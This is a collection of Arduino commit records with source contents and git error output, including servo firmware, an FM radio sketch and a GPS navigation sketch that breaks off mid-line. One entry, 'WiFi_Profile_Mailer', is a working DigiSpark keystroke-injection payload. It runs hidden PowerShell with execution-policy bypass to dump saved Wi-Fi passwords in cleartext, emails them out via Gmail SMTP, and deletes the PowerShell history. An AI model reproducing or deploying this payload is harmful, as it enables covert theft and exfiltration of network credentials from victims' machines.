DELAY_BTWN_ATTACH = 250;\n \n for (int i = 0; i < SERVO_NUMBER; i++) {\n servoarray[i].attach(servoPINS[i]);\n delay(DELAY_BTWN_ATTACH);\n }\n}\n\nvoid moveChannel() {\n \/\/Move only the specified channel (1-SERVO_NUMBER)\n int channel;\n char *arg;\n\n arg = sCmd.next();\n if (arg != NULL) {\n channel = atoi(arg);\n }\n \n if ( channel >= 1 && channel <= SERVO_NUMBER )\n {\n int pin = servoPINS[channel-1];\n moveServo(channel);\n \n Serial.println(\"OK C\" + String(channel) + \"P\" + String(pin) );\n }\n else {\n printError(\"\");\n }\n}\n\nvoid moveServo(int channel) {\n \/\/move a single servo\n if ( USE_SERVO )\n {\n for( int s = 0; s < SHAKE; s++)\n {\n servoarray[channel-1].write(0);\n delay(ROTATION_DELAY);\n servoarray[channel-1].write(180);\n delay(ROTATION_DELAY);\n }\n }\n \n} \n\nvoid rotatesAll() {\n \/\/rotates all at once, group by group\n int bat[GROUP_SIZE];\n \n if ( DEBUG_MODE ) { Serial.println(\"Moving all in groups of \" + String(GROUP_SIZE)); }\n \n for (int g = 0; g < SERVO_NUMBER \/ GROUP_SIZE; g++) {\n for (int c = 0; c < GROUP_SIZE; c++)\n {\n bat[c] = g*GROUP_SIZE + c + 1; \/\/channel\n }\n moveServoGroup(bat);\n } \n}\n\nvoid moveServoGroup(int bat[]) {\n \/\/move a group of servo\n \/\/bat is an array containing the channels to be moved\n \n if ( DEBUG_MODE ) { \n \n Serial.print(\"Moving: \");\n for (int i = 0; i<GROUP_SIZE; i++) {\n Serial.print(String(bat[i]) + \" \");\n }\n Serial.println(\"\");\n }\n \n for( int s = 0; s < SHAKE; s++)\n {\n for (int i = 0; i<GROUP_SIZE; i++) {\n servoarray[bat[i]-1].write(0);\n }\n delay(ROTATION_DELAY);\n\n for (int i = 0; i<GROUP_SIZE; i++) {\n servoarray[bat[i]-1].write(180);\n }\n delay(ROTATION_DELAY);\n }\n}\n\n\/\/ ================= PRINT FUNCTIONS ================== \/\/\n\n\nvoid setupSerialCommands() {\n sCmd.addCommand(\"HELP\", printHelp); \n sCmd.addCommand(\"L\", listValues);\n\n sCmd.addCommand(\"M\", moveChannel); \/\/ Takes one argument (1-SERVO_NUMBER). Move servo associated to channel\n sCmd.addCommand(\"S\", changeSHAKE); \/\/ Takes one argument. Change the SHAKE pattern; default 2\n sCmd.addCommand(\"D\", changeDELAY); \/\/ Takes one argument. Change the rotation delay; default 500ms\n sCmd.addCommand(\"G\", changeGROUP); \/\/ Takes one argument. Change the group size; default 4\n sCmd.addCommand(\"R\", changeRANDOM_INTERVALS); \/\/ Takes two arguments. Change the random intervals values\n sCmd.addCommand(\"AUTO\", toggleAUTOMODE); \/\/ Start autoMode (keep rotating at random intervals of xx-yy minutes)\n sCmd.addCommand(\"DEBUG\", toggleDEBUGMODE); \/\/ Start autoMode (keep rotating at random intervals of xx-yy minutes)\n\n sCmd.addCommand(\"ST\", rotatesAll); \/\/rotates all at once\n sCmd.addCommand(\"IR\", irLed); \/\/Swith on (IR 1) or off (IR 0) IR leds, \n\n sCmd.setDefaultHandler(printError); \/\/ Handler for command that isn't matched (says \"What?\")\n}\n\nvoid printHelp() {\n Serial.println(\"AUTO Toggle Auto Mode ON or OFF\");\n Serial.println(\"DEBUG Toggle DEBUG Mode ON or OFF\");\n Serial.println(\"S xx Changes the SHAKE number (default 2)\");\n Serial.println(\"G xx Changes the GROUP number (default 4)\");\n Serial.println(\"D xxx Changes the DELAY between motor movements (default 500)\");\n Serial.println(\"R min max Changes the random INTERVALS parameters (default 1 7 minutes)\");\n Serial.println(\"L List currently set values\");\n Serial.println(\"M xx Moves Channel xx (1-SERVO_NUMBER)\");\n Serial.println(\"ST Rotate all servos in groups of xx\");\n Serial.println(\"IR 1|0 Switches Infrared LEDs On or Off\");\n Serial.println(\"HELP Print this help message\");\n Serial.println(\"=================================================================================\");\n}\n\nvoid listValues(){\n String OFFON[2] = {\"OFF\",\"ON\"};\n \n Serial.println(\"Version: \" + VERSION);\n Serial.println(\"Uptime: \" + String ( uptime() ));\n Serial.println(\"Automode: \" + OFFON[AUTO_MODE] );\n Serial.println(\"Shake number: \" + String(SHAKE) );\n Serial.println(\"Group Size: \" + String(GROUP_SIZE));\n Serial.println(\"Motion Delay: \" + String(ROTATION_DELAY));\n Serial.println(\"RANDOM intervals: \" + String(rMIN) + \" - \" + String(rMAX) );\n Serial.println(\"Rotation delay: \" + String(ROTATION_DELAY) );\n Serial.println(\"Voltage: \" + String(analogRead(0)));\n printLEDstatus();\n Serial.println(\"=================================================================================\");\n}\n\nvoid printLEDstatus(){\n\n String state[3] = {\"OFF\",\"LED ERROR!\",\"ON\"};\n \n int o = digitalRead(IR_LED_LEFT) + digitalRead(IR_LED_RIGHT);\n Serial.println(\"IR LEDs: \" + state[o]);\n}\n\n\nvoid printError(const char *command) {\n \/\/ This gets set as the default handler, and gets called when no other command matches.\n Serial.println(\"ERROR Command not valid\");\n}\n\nvoid loop()\n{\n\n sCmd.readSerial(); \n\n if ( AUTO_MODE and time_elapsed() ) {\n lap = get_new_interval();\n rotatesAll();\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d88fedcfe724fa099aed4c9cc2bec966769098fd","subject":"LCD screen is out, RGB LED is in.","message":"LCD screen is out, RGB LED is in.\n\nWell, not enough memory. On other hand, no one will see a nice blue screen in the server room, right?","repos":"lgramatikov\/celeste","old_file":"CelesteUIEthernet.ino","new_file":"CelesteUIEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2396ccc7cdd65d1f64db74c6a7c21668d7f2759b","subject":"and testing at full speed","message":"and testing at full speed\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2a4cf01efc9ecf7ad5d1191f3fd64fab77c511f7","subject":"First commit","message":"First commit\n","repos":"mroger\/TEA5767,mroger\/TEA5767","old_file":"examples\/LCDKeyPadShieldAndRadioTEA5767Demo\/LCDKeyPadShieldAndRadioTEA5767Demo.ino","new_file":"examples\/LCDKeyPadShieldAndRadioTEA5767Demo\/LCDKeyPadShieldAndRadioTEA5767Demo.ino","new_contents":"#include <LiquidCrystal.h> \/\/ Insira as chaves menor no inicio e maior no final de LiquidCrystal.h\n#include <TEA5767N.h>\n#include <Wire.h>\n#include <stdlib.h>\n#include <EEPROM.h>\n#include <Serial.h>\n\n\/\/ Init radio object\nTEA5767N radio = TEA5767N();\n\/\/ Seleciona os pinos utilizados no Painel\nLiquidCrystal lcd(8, 9, 4, 5, 6, 7); \n\n\/\/ Define as variaveis de botoes\nint lcd_key = 0;\nint adc_key_in = 0;\n\n#define btnRIGHT 0\n#define btnUP 1\n#define btnDOWN 2\n#define btnLEFT 3\n#define btnSELECT 4\n#define btnNONE 5\n\n#define DELAY_VOLUME_TRANSITION 50\n\n#define MENU_DEPTH 3\n#define MENU_LINES 8\n#define MENU_TEXT 16\n\nint backLightPin = 10;\nint upDownPin = 11;\nint incPin = 12;\n\n\/*\nStation found: 91.3 MHz\nStation found: 98.5 MHz\nStation found: 100.1 MHz\nStation found: 101.7 MHz\nStation found: 102.1 MHz\nStation found: 107.4 MHz\nStation found: 108.0 MHz\nStation found: 95.4 MHz\nStation found: 87.6 MHz\nStation selected: 89.1 MHz\n*\/\n\nfloat default_stations[16] = {87.5, 89.1, 91.3, 96.1, 98.5, 100.1, 100.9, 102.1, 107.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};\nfloat stations[16] = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};\nbyte stationIndex = 0;\n\nbyte state = 0; \/\/0 - \n \/\/1 - \n \/\/2 - \n \/\/3 - \n \/\/4 - \n \/\/5 - \n \/\/6 - \nbyte selectedMenuItem = 0;\nfloat selectedStation;\nboolean isStandByOn = false;\nboolean wasReleased = true;\nboolean mute = false;\n\nchar menu[MENU_DEPTH][MENU_LINES][MENU_TEXT] = {\n {{\" Mute\"}, {\" Search\"}, {\" Fine search\"}, {\" Register statn\"}, {\" Configuration\"}, {\" Stand by\"}, {\" Load deflt stn\"}, {\" Exit\"}},\n {{\" Search level\"}, {\" Backlit inten.\"}},\n {{\" Low\"}, {\" Medium\"}, {\" High\"}}\n };\n\nbyte searchLevel;\n\nvoid loadDefaultStations() {\n for (int i=0 ; i < 16 ; i++) {\n \/\/TODO Do this using pointers\n stations[i] = default_stations[i];\n }\n}\n\nint read_LCD_buttons(){\n adc_key_in = analogRead(0);\n if (adc_key_in > 1000) return btnNONE; \n if (adc_key_in < 50) return btnRIGHT; \n if (adc_key_in < 195) return btnUP; \n if (adc_key_in < 380) return btnDOWN; \n if (adc_key_in < 555) return btnLEFT; \n if (adc_key_in < 790) return btnSELECT; \n return btnNONE;\n}\n\nvoid loadStation() {\n byte intStation, floatStation;\n float station;\n \n intStation = EEPROM.read(0);\n floatStation = EEPROM.read(1);\n \n if (intStation != 0xFF) {\n station = (intStation * 1.0) + (floatStation * .1);\n radio.selectFrequency(station);\n } else {\n radio.selectFrequency(stations[stationIndex]);\n }\n}\n\nvoid loadSearchLevel() {\n searchLevel = EEPROM.read(2);\n if (searchLevel == 0xFF) {\n searchLevel = MID_STOP_LEVEL;\n }\n switch(searchLevel) {\n case LOW_STOP_LEVEL: {\n radio.setSearchLowStopLevel();\n break;\n }\n case MID_STOP_LEVEL: {\n radio.setSearchMidStopLevel();\n break; \n }\n case HIGH_STOP_LEVEL: {\n radio.setSearchHighStopLevel();\n break; \n }\n }\n}\n\nvoid loadConfiguration() {\n \/\/loadStation();\n loadDefaultStations();\n loadSearchLevel();\n}\n\nvoid saveStation(float station) {\n float aux;\n byte byteValue;\n \n byteValue = (byte) floor(station);\n EEPROM.write(0, byteValue);\n aux = station - floor(station);\n aux *= 10.0;\n if (aux > 5.0) {\n byteValue = byte(aux);\n if ((((float)byteValue) - aux) > 0.1) {\n byteValue--;\n } else if ((aux - ((float)byteValue)) > 0.1) {\n byteValue++;\n }\n } else {\n byteValue = (int) ceil(aux);\n }\n EEPROM.write(1, byteValue);\n}\n\nvoid saveSearchLevel(byte searchLevel) {\n EEPROM.write(2, searchLevel);\n}\n\nvoid setup(){\n pinMode(backLightPin, OUTPUT); \n pinMode(upDownPin, OUTPUT);\n pinMode(incPin, OUTPUT);\n \n digitalWrite(upDownPin, HIGH);\n digitalWrite(incPin, HIGH);\n analogWrite(backLightPin, 255);\n \n lcd.begin(16, 2); \n lcd.setCursor(6,0);\n lcd.print(\"MHz\");\n \n \/\/ Loads configuration\n loadConfiguration();\n radio.selectFrequency(stations[0]);\n \/\/delay(2000);\n printSelectedFrequency(radio.readFrequencyInMHz());\n \/\/radio.setSearchMidStopLevel();\n \/\/radio.selectFrequency(102.1);\n \n \/\/From application_note_tea5767-8.pdf, limit the amount of noise energy.\n radio.setSoftMuteOn();\n \/\/From application_note_tea5767-8.pdf, cut high frequencies from the audio signal.\n radio.setHighCutControlOn();\n}\n\nvoid printSelectedFrequency(float frequency) {\n printSelectedFrequency(frequency, 0, 0);\n}\n\nvoid printSelectedFrequency(float frequency, byte col, byte row) {\n char str_freq[5];\n dtostrf(frequency, 1, 1, str_freq);\n \n lcd.setCursor(col, row);\n lcd.print(\" \");\n lcd.setCursor(col, row);\n lcd.print(str_freq); \n}\n\nvoid printMuteStatus() {\n lcd.setCursor(12, 0);\n lcd.print(\"M\"); \n}\n\nvoid printNotMuteStatus() {\n lcd.setCursor(12, 0);\n lcd.print(\" \"); \n}\n\nvoid printStereoStatus() {\n lcd.setCursor(10, 0);\n if (radio.isStereo()) {\n lcd.print(\"S\");\n } else {\n lcd.print(\"M\");\n }\n}\n\nvoid markSelectedMenuItem(char *firstLine, char *secondLine) {\n lcd.setCursor(0,0);\n lcd.print(firstLine);\n lcd.setCursor(0,1);\n lcd.print(secondLine);\n}\n\nvoid updateLevelIndicator() {\n byte x, y, sl;\n char barGraph[17];\n \n lcd.setCursor(0,1);\n sl = radio.getSignalLevel();\n for (x=0 ; x<sl ; x++) {\n barGraph[x] = 255;\n }\n for (y=x ; y<16 ; y++) {\n barGraph[y] = 32;\n }\n barGraph[y] = '\\0';\n lcd.print(barGraph);\n}\n\nvoid loop(){\n lcd_key = read_LCD_buttons();\n \n \/\/Serial.print(\"Selected button: \");\n \/\/Serial.println(lcd_key);\n \n \/\/Any button turns the radio on again\n if ((lcd_key != btnNONE) && isStandByOn && wasReleased) {\n wasReleased = false;\n state = 0;\n isStandByOn = false;\n \n \/\/Necessary to elliminate noise while turning the radio back on\n radio.mute();\n radio.setStandByOff();\n \/\/Necessary to elliminate noise while turning the radio back on\n delay(150);\n radio.turnTheSoundBackOn();\n analogWrite(backLightPin, 255);\n \n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\" MHz\");\n \n \/\/ Starts station\n printSelectedFrequency(radio.readFrequencyInMHz());\n \/\/Serial.println(\"Consuming button click event\");\n \/\/\/\/Consumes button click event to force to another valid choice\n \/\/lcd_key = btnNONE;\n }\n \n switch (lcd_key) {\n case btnRIGHT: {\n if (wasReleased) {\n wasReleased = false;\n switch (state) {\n case 0: {\n if ((stationIndex < 16) && (stations[stationIndex+1] != 0.0)) {\n stationIndex++;\n } else {\n stationIndex = 0;\n }\n radio.selectFrequency(stations[stationIndex]);\n printSelectedFrequency(radio.readFrequencyInMHz());\n saveStation(stations[stationIndex]);\n break;\n }\n case 5: {\n byte isBandLimitReached;\n if (selectedMenuItem == 0) {\n radio.setSearchUp();\n isBandLimitReached = radio.searchNextMuting();\n if (isBandLimitReached) {\n radio.setSearchDown();\n isBandLimitReached = radio.searchNextMuting();\n }\n printSelectedFrequency(radio.readFrequencyInMHz(), 2, 0);\n }\n break; \n }\n case 6: {\n if (selectedStation < 108.0) {\n selectedStation += .1;\n radio.selectFrequency(selectedStation);\n printSelectedFrequency(selectedStation, 2, 0);\n }\n }\n }\n }\n break;\n }\n case btnLEFT: {\n if (wasReleased) {\n wasReleased = false;\n switch (state) {\n case 0: {\n if (stationIndex > 0) {\n stationIndex--;\n } else {\n stationIndex = 6;\n }\n radio.selectFrequency(stations[stationIndex]);\n printSelectedFrequency(radio.readFrequencyInMHz());\n saveStation(stations[stationIndex]);\n break;\n }\n case 5: {\n byte isBandLimitReached;\n if (selectedMenuItem == 0) {\n radio.setSearchDown();\n isBandLimitReached = radio.searchNextMuting();\n if (isBandLimitReached) {\n radio.setSearchUp();\n isBandLimitReached = radio.searchNextMuting();\n }\n printSelectedFrequency(radio.readFrequencyInMHz(), 2, 0);\n }\n break; \n }\n case 6: {\n if (selectedStation > 88.0) {\n selectedStation -= .1;\n radio.selectFrequency(selectedStation);\n printSelectedFrequency(selectedStation, 2, 0);\n }\n }\n }\n }\n break;\n } \n case btnUP: {\n \/\/For up and down volume it\u00b4s ok let it execute\n \/\/continuously\n if (wasReleased || (state == 0)) {\n wasReleased = false;\n switch (state) {\n \/\/Volume UP\n case 0: {\n digitalWrite(upDownPin, HIGH);\n digitalWrite(incPin, LOW);\n delay(DELAY_VOLUME_TRANSITION);\n digitalWrite(incPin, HIGH);\n delay(DELAY_VOLUME_TRANSITION);\n break;\n }\n case 1: {\n if (selectedMenuItem > 0) {\n selectedMenuItem--;\n \n if (selectedMenuItem != 3) {\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(menu[0][selectedMenuItem]);\n lcd.setCursor(0,1);\n lcd.print(menu[0][selectedMenuItem+1]);\n }\n }\n markSelectedMenuItem(\">\", \" \");\n break; \n }\n case 4: {\n if (selectedMenuItem > 0) {\n selectedMenuItem--;\n \n if (selectedMenuItem != 2) {\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(menu[2][selectedMenuItem]);\n lcd.setCursor(0,1);\n lcd.print(menu[2][selectedMenuItem+1]);\n }\n }\n markSelectedMenuItem(\">\", \" \");\n break; \n }\n }\n }\n break;\n }\n case btnDOWN: {\n \/\/For up and down volume it\u00b4s ok let it execute\n \/\/continuously\n if (wasReleased || (state == 0)) {\n wasReleased = false;\n switch (state) {\n \/\/Volume DOWN\n case 0: {\n digitalWrite(upDownPin, LOW);\n digitalWrite(incPin, LOW);\n delay(DELAY_VOLUME_TRANSITION);\n digitalWrite(incPin, HIGH);\n delay(DELAY_VOLUME_TRANSITION);\n break;\n }\n case 1: {\n if (selectedMenuItem < (MENU_LINES-1)) {\n selectedMenuItem++;\n \n if (selectedMenuItem != 1) {\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(menu[0][selectedMenuItem-1]);\n lcd.setCursor(0,1);\n lcd.print(menu[0][selectedMenuItem]);\n }\n }\n markSelectedMenuItem(\" \", \">\");\n break; \n }\n case 4: {\n if (selectedMenuItem < 2) {\n selectedMenuItem++;\n if (selectedMenuItem != 1) {\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(menu[2][selectedMenuItem-1]);\n lcd.setCursor(0,1);\n lcd.print(menu[2][selectedMenuItem]);\n }\n }\n markSelectedMenuItem(\" \", \">\");\n break; \n }\n }\n }\n break;\n }\n case btnSELECT: {\n if (wasReleased) {\n wasReleased = false;\n switch (state) {\n \/\/ Show SELECT menu items\n \/\/ >Mute\n \/\/ Search\n case 0: {\n state = 1;\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(menu[0][0]);\n lcd.setCursor(0,1);\n lcd.print(menu[0][1]);\n markSelectedMenuItem(\">\", \" \");\n selectedMenuItem = 0;\n break;\n }\n \/\/Execute first level menu selection\n case 1: {\n switch(selectedMenuItem) {\n case 0: {\n state = 0;\n if (!mute) {\n mute = true;\n radio.mute();\n } else {\n mute = false;\n radio.turnTheSoundBackOn();\n }\n \n lcd.setCursor(0,0);\n lcd.print(\" MHz \");\n lcd.setCursor(0,1);\n lcd.print(\" \");\n printMuteStatus();\n \n \/\/ Starts station\n printSelectedFrequency(radio.readFrequencyInMHz());\n break; \n }\n case 1: {\n state = 5;\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"<\");\n lcd.setCursor(15, 0);\n lcd.print(\">\");\n printSelectedFrequency(radio.readFrequencyInMHz(), 2, 0);\n break; \n }\n case 2: {\n state = 6;\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"<<\");\n lcd.setCursor(14, 0);\n lcd.print(\">>\");\n selectedStation = radio.readFrequencyInMHz();\n printSelectedFrequency(selectedStation, 2, 0);\n break; \n }\n case 3: {\n byte isBandLimitReached = 0;\n byte progress = 0;\n state = 0;\n lcd.clear();\n radio.mute();\n radio.selectFrequency(88.0);\n radio.setSearchUp();\n while(!isBandLimitReached && (progress < 16)) {\n isBandLimitReached = radio.searchNext();\n stations[progress] = radio.readFrequencyInMHz();\n lcd.setCursor(progress, 1);\n lcd.print((char)255);\n progress++;\n }\n radio.turnTheSoundBackOn();\n \n lcd.setCursor(0,0);\n lcd.print(\" MHz \");\n lcd.setCursor(0,1);\n lcd.print(\" \");\n \n \/\/ Starts station\n stationIndex = 0;\n saveStation(stations[stationIndex]);\n printSelectedFrequency(stations[stationIndex]);\n \n break;\n }\n case 4: {\n state = 3;\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(menu[1][0]);\n markSelectedMenuItem(\">\", \" \");\n selectedMenuItem = 0;\n break;\n }\n \/\/Puts the radio in standy by mode and turns off\n \/\/the display backlight\n case 5: {\n state = 2;\n lcd.clear();\n \n radio.setStandByOn();\n analogWrite(backLightPin, 0);\n \n isStandByOn = true;\n break; \n }\n case 6: {\n state = 0;\n \n lcd.setCursor(0,0);\n lcd.print(\" MHz \");\n lcd.setCursor(0,1);\n lcd.print(\" \");\n \n \/\/ Starts station\n printSelectedFrequency(radio.readFrequencyInMHz());\n break;\n }\n case 7: {\n state = 0;\n \n lcd.setCursor(0,0);\n lcd.print(\" MHz \");\n lcd.setCursor(0,1);\n lcd.print(\" \");\n \n \/\/ Starts station\n printSelectedFrequency(radio.readFrequencyInMHz());\n break;\n }\n }\n break;\n }\n case 3: {\n state = 4;\n lcd.clear();\n if (searchLevel < 3) {\n lcd.setCursor(0,0);\n lcd.print(menu[2][0]);\n lcd.setCursor(0,1);\n lcd.print(menu[2][1]);\n } else {\n lcd.setCursor(0,0);\n lcd.print(menu[2][1]);\n lcd.setCursor(0,1);\n lcd.print(menu[2][2]);\n }\n if (searchLevel == 1) {\n markSelectedMenuItem(\">\", \" \");\n } else {\n markSelectedMenuItem(\" \", \">\");\n }\n selectedMenuItem = searchLevel - 1;\n break; \n }\n case 4: {\n state = 0;\n switch(selectedMenuItem+1) {\n case LOW_STOP_LEVEL: {\n radio.setSearchLowStopLevel();\n saveSearchLevel(LOW_STOP_LEVEL);\n break;\n }\n case MID_STOP_LEVEL: {\n radio.setSearchMidStopLevel();\n saveSearchLevel(MID_STOP_LEVEL);\n break; \n }\n case HIGH_STOP_LEVEL: {\n radio.setSearchHighStopLevel();\n saveSearchLevel(HIGH_STOP_LEVEL);\n break; \n }\n }\n \n lcd.setCursor(0,0);\n lcd.print(\" MHz \");\n lcd.setCursor(0,1);\n lcd.print(\" \");\n \n \/\/ Starts station\n printSelectedFrequency(radio.readFrequencyInMHz());\n break; \n }\n case 5: \n case 6: {\n state = 0;\n \n lcd.setCursor(0,0);\n lcd.print(\" MHz \");\n lcd.setCursor(0,1);\n lcd.print(\" \");\n \n \/\/ Starts station\n printSelectedFrequency(radio.readFrequencyInMHz());\n break; \n }\n }\n }\n break;\n }\n case btnNONE: {\n \/\/Serial.println(\"Btn None\");\n if (!wasReleased) {\n wasReleased = true;\n }\n switch (state) {\n case 0: {\n if (!isStandByOn) {\n printStereoStatus();\n }\n updateLevelIndicator();\n break;\n }\n case 5: {\n updateLevelIndicator(); \n break;\n }\n }\n break;\n }\n }\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LCDKeyPadShieldAndRadioTEA5767Demo\/LCDKeyPadShieldAndRadioTEA5767Demo.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"80f3a7a5e002f2bed05802a5c59a56ec6e55a20d","subject":"Functional datalogger","message":"Functional datalogger\n","repos":"HALtheWise\/arduino-temperature-logger,HALtheWise\/arduino-temperature-logger","old_file":"arduino code\/MeasureTemp\/MeasureTemp.ino","new_file":"arduino code\/MeasureTemp\/MeasureTemp.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/MeasureTemp\/MeasureTemp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f03df75abe37f691e9d79cec2f13f2ee482c2fb4","subject":"Added WiFi_Profile_Mailer","message":"Added WiFi_Profile_Mailer\n\nWiFi_Profile_Mailer : This DigiSpark script writes the wireless network\ncredentials to a csv file and emails it.\n","repos":"CedArctic\/DigiSpark-Scripts,CedArctic\/DigiSpark-Scripts","old_file":"WiFi_Profile_Mailer\/WiFi_Profile_Mailer.ino","new_file":"WiFi_Profile_Mailer\/WiFi_Profile_Mailer.ino","new_contents":"\/\/This DigiSpark script writes the wireless network credentials to a csv file and emails it.\n\/\/Credits to p0wc0w.\n#include \"DigiKeyboard.h\"\nvoid setup() {\n}\n\nvoid loop() {\n DigiKeyboard.sendKeyStroke(0);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(\"cmd\");\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(F(\"powershell -NoP -NonI -W Hidden -Exec Bypass \\\"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\\\" \"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(3000);\n DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(\"cmd\");\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(F(\"powershell -NoP -NonI -W Hidden -Exec Bypass \\\"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\\\"\"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(\"cmd\");\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(F(\"powershell -NoP -NonI -W Hidden -Exec Bypass \\\"del (Get-PSReadlineOption).HistorySavePath\\\"\"));\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(500);\n for(;;){ \/*empty*\/ }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WiFi_Profile_Mailer\/WiFi_Profile_Mailer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"97d39f3f5cb70439e8b74271f440ef509240f1f4","subject":"made changes in latches branch","message":"made changes in latches branch\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"027a0b58bca98077d09753a78bcc0c12e78ae460","subject":"Fixed syntactic bugs","message":"Fixed syntactic bugs\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motion.ino","new_file":"motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c008a9695721f25e74feb57db4cff7fc0f589d6a","subject":"Add sketch to repo","message":"Add sketch to repo\n","repos":"johngroves\/SCOUT,johngroves\/SCOUT","old_file":"scout\/scout.ino","new_file":"scout\/scout.ino","new_contents":"\/\/ SCOUT Navigation and Logic\n\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n\n\/\/ Pass data to USB serial via digital 3,2\nSoftwareSerial mySerial(3, 2);\n\n\/\/ Assign names to analog 0-3 for relay\nint POS1 = A0;\nint NEG1 = A1;\nint POS2 = A2;\nint NEG2 = A3;\nint delayValue = 5000;\n\nAdafruit_GPS GPS(&mySerial);\n\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences. \n#define GPSECHO true\n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\nvoid setup() \n{\n \n \/\/ connect at 115200 baud to read GPS quickly\n \/\/ also spit it out\n Serial.begin(115200);\n Serial.println(\"GPS Initializing\");\n\n \/\/ Initialize analog pins\n pinMode(POS1, OUTPUT);\n pinMode(NEG1, OUTPUT);\n pinMode(POS2, OUTPUT);\n pinMode(NEG2, OUTPUT);\n\n \/\/ With this relay, HIGH is OFF\n digitalWrite(POS1, HIGH);\n digitalWrite(NEG1, HIGH);\n digitalWrite(POS2, HIGH);\n digitalWrite(NEG2, HIGH);\n\n Serial.println(\"Initialized With 